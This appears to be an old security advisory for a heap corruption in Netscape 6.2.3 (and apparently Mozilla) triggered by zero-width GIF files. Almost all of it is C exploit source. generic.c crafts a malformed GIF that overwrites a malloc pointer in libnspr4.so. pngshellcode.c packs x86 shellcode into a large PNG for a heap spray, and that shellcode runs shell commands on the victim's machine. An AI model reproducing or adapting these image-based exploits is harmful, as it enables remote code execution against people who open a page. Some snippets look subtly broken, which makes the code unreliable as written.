|
|
|
|
| |
| Zero width GIF file can cause an exploitable heap corruption. The following advisory contains an example exploit for malformed GIFs under Netscape 6.2.3. This vulnerability also affects a number of other browsers, including Mozilla (of course) and manages to kill Opera. |
| |
Credit:
The information has been provided by zen-parse.
|
| |
Exploit:
create.c
main()
{
int c;
close(1);
unlink("mapfile.ppm");
open("mapfile.ppm",65,0660);
printf("P6 256 1 255\n");
for(c=0;c<256;c++)
{
printf("%c%c%c",c,c,c);
}
}
enc.c
char was[]=
"\xef\xbe\xad\xde\x1a\xc0\xca\xc0\x11\x22\x33\x44\x88\x77\x66\x55"
"\xef\xbe\xad\xde\x1a\xc0\xca\xc0\x11\x22\x33\x44\x88\x77\x66\x55"
"\xef\xbe\xad\xde\x1a\xc0\xca\xc0\x11\x22\x33\x44\x88\x77\x66\x55"
"\xef\xbe\xad\xde\x1a\xc0\xca\xc0\x11\x22\x33\x44\x88\x77\x66\x55"
"\xef\xbe\xad\xde\x1a\xc0\xca\xc0\x11\x22\x33\x44\x88\x77\x66\x55"
"\xef\xbe\xad\xde\x1a\xc0\xca\xc0\x11\x22\x33\x44\x88\x77\x66\x55";
int waslen=0;
main()
{
char c[256][3];
int cu=0;
int x;
printf("P6 1 256 255\n");
waslen=strlen(was);
for(x=0;x<waslen;x+=3)
{
char v[4];
int count,found=0;
v[0]=was[x+0];
v[1]=was[x+1];
v[2]=was[x+2];
v[3]=0;
if(cu>255){
perror("failed on colormap, expected:");
exit(1);
}
for(count=0;count<cu;count++)
{
if(!strncmp(v,&c[count]))
{
printf("%c%c%c",v[0],v[1],v[2]);
found=1;
}
}
if(!found)
{
printf("%c%c%c",v[0],v[1],v[2]);
memcpy(c[cu++],v,3);
}
}
for(;cu<256;cu++)
{
c[cu][0]=cu;
c[cu][1]=cu;
c[cu][2]=cu;
printf("%c%c%c",c[cu][0],c[cu][1],c[cu][2]);
}
}
generic.c
char large[128000];
int f;
#define TARGET (0x40197000 /*libnspr4.so*/ + /*PR_Malloc*/ 0x00029270)
#define REPLACE 0x41AB005E /* "shellcode" */
int inv(short c)
{
return c;
return ((c&0xff)<<8)|((c&0xff00)>>8);
}
void doc(char *c)
{
write(f,c,1);
write(f,c,1);
write(f,c,1);
}
void add(int ix)
{
char*p=(char*)&ix;
doc(&p[0]);
doc(&p[1]);
doc(&p[2]);
doc(&p[3]);
}
int ar[]=
{
0x12344321,
0x87655678,
0x01020304,
0x04030201,
0x11223344,
0x87654321,
0};
main()
{
int y=2;
int x=0;
int z=0,c,siz;
char header[100];
int rx=9*4;
int ry=1;
printf("x=%d y=%d\n",x,y);
sprintf(header,"P6 %1$d %2$d 255\n",rx,ry);
unlink("img1.ppm");
unlink("img1.ppm");
f=open("img1.ppm",65,0664);
if(!(f+1))exit(1);
write(f,header,strlen(header));
add(0x20656964);
add(0x2e776f6e);
add(0);
add(0);
add(TARGET-12);
add(REPLACE);
for(c=0;c<rx*ry;c++)
{
add(0);
}
close(f);
system("ppmtogif -sort -map mapfile.ppm <img1.ppm >tmp1.gif");
f=open("tmp1.gif",0);
if(!(f+1))exit(1);
memset(large,0,128000);
siz=read(f,large,128000);
close(f);
unlink("img1.gif");
f=open("img1.gif",65,0664);
if(!(f+1))exit(1);
*(short*)&large[6]=inv(x);
*(short*)&large[8]=inv(y);
/* */
*(short*)&large[0x0312]=inv(x);
*(short*)&large[0x0314]=inv(y);
/* */
write(f,large,siz);
close(f);
}
pngshellcode.c
/*
* This program makes 2048x4000 .ppm file, and converts it into a
* valid png file, around 22k or so. It uncompresses to the
* full 24576000 bytes of data, which pushes the memory ranges
* accessible way up... making 0x42424242 a valid address.
*
* There are 2 parts to the image file:
* 1) The shellcode. This code is ripped almost exactly from
* the jar exploit image maker, with the only modifications
* being the image size (was 2048x2048) and the next section.
* 2) A large number of pointers to the shellcode. This is the
* part that will be at address 0x42424242.
*
* See pngcrash.c for how we get 0x42424242 to be used as a pointer
* to a function.
*/
//#define TESTING
//#define EXEC
#define SIZ (3*2048*4000)
char *buf;
char code[]=
"\xeb\x02\xeb\x0d\xe8\xf9\xff\xff\xff\x90\x90\x90\x90\x90\x90\x90"
"\x90\x58\x8b\x18\x85\xdb\x75\x02\xeb\xfe\x31\xdb\x89\x18\xbc\xe0"
"\xff\xff\xbf\x89\xe6\xbb\x01\x48\x4f\x4d\x4b\x4e\x8b\x0e\x39\xcb"
"\x75\xf9\xbb\x4f\x4d\x45\x3d\x46\x46\x8b\x0e\x39\xcb\x74\x04\x4e"
"\x4e\xeb\xe2\xc7\x06\xef\xbe\xad\xde\x81\x2e\xef\xbe\xad\xde\x46"
"\x46\x46\x46\x89\xf7\x46\x8b\x0e\x84\xc9\x75\xf9\xc7\x06\x2f\x2e"
"\x6d\x61\x46\x46\x46\x46\xc7\x06\x73\x68\x72\x63\x46\x46\x46\x46"
"\xc7\x06\xef\xbe\xad\xde\x81\x2e\xef\xbe\xad\xde\x31\xc0\x31\xc9"
"\x31\xd2\x89\xfb\x04\x0a\xcd\x80\x31\xc0\x04\x05\x80\xc1\x41\x66"
"\x81\xc2\xb0\x01\xcd\x80\x89\xc6\x40\x85\xc0\x74\x17\xeb\x1a\x59"
"\x89\xf3\x31\xd2\xb2\x50\x31\xc0\x04\x04\xcd\x80\x89\xf3\x31\xc0"
"\x04\x06\xcd\x80\x31\xc0\x40\xcd\x80\xe8\xe1\xff\xff\xff\x23\x73"
"\x6f\x6d\x65\x20\x72\x61\x6e\x64\x6f\x6d\x20\x63\x6f\x6d\x6d\x61"
"\x6e\x64\x73\x0a\x74\x6f\x75\x63\x68\x20\x2f\x76\x61\x72\x2f\x74"
"\x6d\x70\x2f\x6f\x77\x6e\x65\x64\x2e\x60\x77\x68\x6f\x61\x6d\x69"
"\x60\x0a\x65\x78\x69\x74\x0a\x7a\x65\x6e\x2d\x70\x61\x72\x73\x65"
"\x20\x6f\x77\x6e\x65\x64\x20\x79\x6f\x75\x2e\x2e\x2e\x0a";
char addr[4];
main()
{
int f,x,y,z,c=0,ofs=2;
buf=(char*)malloc(SIZ);
if(!buf)exit(1);
unlink("scode.ppm");
f=open("scode.ppm",65,644);
if(f==-1)exit(1);
write(f,"P6 2048 4000 255\n",17);
#ifndef TESTING
memset(buf,'@',SIZ);
for(y=0;y<2048;y++)
{
for(x=0;x<3*2048;x+=2)
{
if((x<950)||(x>1024))buf[x+3*y*2048]=0xeb;
}
strcpy(&buf[1024+(3*y*2048)],code);
}
// *(int*)&addr=0xdeadbeef;
*(int*)&addr=0x41ab005e;
for(;y<4000;y++)
{
for(x=0;x<3*2048;x++)
{
buf[x+(3*y*2048)]=addr[ofs++];
ofs%=4;
}
}
#else
memset(buf,0xcc,SIZ);
#endif
strcpy(&buf[SIZ-(strlen(code)+1)],code);
write(f,buf,SIZ);
close(f);
#ifndef EXEC
free(buf);
if(system("pnmtopng <scode.ppm >scode.png"))
{
printf("png creation failed\n");
exit(1);
};
unlink("scode.ppm");
#else
__asm__("
movl buf,%eax
call *%eax
");
#endif
printf("Shellcode length: %d\n",strlen(code));
return 0;
}
|
|
|
|
|